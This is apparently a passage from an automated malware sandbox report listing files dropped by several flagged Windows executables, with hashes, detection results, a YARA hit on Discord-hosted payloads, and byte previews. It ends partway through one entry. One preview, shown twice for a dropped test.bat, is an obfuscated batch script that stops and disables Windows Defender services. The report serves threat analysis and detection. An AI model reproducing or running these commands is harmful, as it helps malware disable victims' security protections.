Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Tx3inWO7Su Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4588965670203364
Encrypted:	false
SSDEEP:	48:T1YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:OWU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16C3DE08951964D7D40D5205692A3D82
SHA1:	EA06159A8A50E853806DD09F830B0C39E3374E75
SHA-256:	2DB39320E9691AC1690723A33BC7AA2330B1B63621B3AFAEDBEB0E10463192F5
SHA-512:	E0B54313A7A6188DC711CCDC7854CEF3456D79BA1E29AF7BD7310733B03167434D063C3D51DBB63D426919088104D46CA42815DEF9337B4C604F1DD0150CCE5A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\319A.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\319A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5D4.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\5D4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14734
Entropy (8bit):	4.993014478972177
Encrypted:	false
SSDEEP:	384:cBVoGIpN6KQkj2Wkjh4iUxtaKdROdBLNXp5nYoGib4J:cBV3IpNBQkj2Lh4iUxtaKdROdBLNZBYH
MD5:	8D5E194411E038C060288366D6766D3D
SHA1:	DC1A8229ED0B909042065EA69253E86E86D71C88
SHA-256:	44EEE632DEDFB83A545D8C382887DF3EE7EF551F73DD55FEDCDD8C93D390E31F
SHA-512:	21378D13D42FBFA573DE91C1D4282B03E0AA1317B0C37598110DC53900C6321DB2B9DF27B2816D6EE3B3187E54BF066A96DB9EC1FF47FF86FEA36282AB906367
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22168
Entropy (8bit):	5.605445164688419
Encrypted:	false
SSDEEP:	384:etCDLqoZI5K1rpl9z6vOMSBKnAjultI+P7Y9gtSJ3xeT1MaXZlgRV7+3HmZBDI+s:+6rP904KAClthrtc8C+fYLVi
MD5:	68AE69A585A398F9AFA7BD9FCC17E62F
SHA1:	C5164B582D9A3C6020D0717694906CFB80BCD648
SHA-256:	4BC8D9F5E97175B8377C5FC31965D691A255A516EB3EF56ED9540B41C4258F06
SHA-512:	941F79F18F10DAE389D27E6CFB2FD12C4836A7E82F1A788BF5562A98E029531DABAE6B285A9A7ADA4AA25FDEC661D3BB2193B70CB2636D7239D35C1F372AA4E1
Malicious:	false
Reputation:	unknown
Preview:	@...e...........^.......h.>.).........B...I..........@..........H...............<@.^.L."My...::..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\5D4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\5D4.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\192F.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\192F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\319A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\319A.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\32BC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602112
Entropy (8bit):	7.0892638670378805
Encrypted:	false
SSDEEP:	12288:kGukYO+PJKZ0NZviBsCUcU9Yveqgg4Q2K+:HukCJ1iiCf202
MD5:	D02C5BF9533CCE0E9EA3EAFC2F594A49
SHA1:	843BC6B17AD8AF53CE851F5C05D21BC03B434E5C
SHA-256:	32C06152828C3D144B82E6E1F4EF18381BE1DFD307105851827E358C64156949
SHA-512:	A0E6A4157A13891FF91E20860D320E137A6D1D33629371D29598D40E53CFDEED86D2B0D0F8BF668A9B8175623662807DB190360414640BDAD5261B2702D148D5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L...D,._......................p...................@...........................x.....@.......................................D...d....Pw..<....................w.....0...................................@............................................text...x........................... ..`.data....io.........................@....malajew.....@w.....................@....rsrc....<...Pw..<..................@..@.reloc...#....w..$..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\319A.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\319A.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\5D4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\5D4.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\69B5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	348672
Entropy (8bit):	5.997778327285649
Encrypted:	false
SSDEEP:	6144:0BbSn3n6QHUKl3hINRqdhUm6b8mCcNebxCg1:Eu3n6UUKlxS2Um6b8mCcNej
MD5:	539C39A9565CD4B120E5EB121E45C3C2
SHA1:	5E1975A1C8F9B8416D9F5F785882DFB0CC9161DC
SHA-256:	C673B8408DB0EB515651E6A6F3361C713903001011C6E13A1825C0376A83D1DD
SHA-512:	3CC343A53051BE34B4CAD9AA9A9AE68D6B5A978B2ECD10516E4934452D29A9455A6CEB5EB7C7B691B2D08F1781BFB7B1E3627CB2823DD4F60860861F2202BA8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L....8?`......................v.....`.............@...........................z......f......................................$...d....py..I....................y..... ..................................@............................................text............................... ..`.data...H.u.........................@....rsrc....I...py..J..................@..@.reloc...#....y..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6DDE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	877056
Entropy (8bit):	7.462302194895007
Encrypted:	false
SSDEEP:	24576:yYuSM7Gp8zSjQLCV9ibUqyuziiM95BxXEr:yv7i8zSjbVwB1ZM910r
MD5:	B79D3399603938A695A98A75DCFBAB91
SHA1:	AF9A85F2CC85CD3B040536C988AAB45C237A22D9
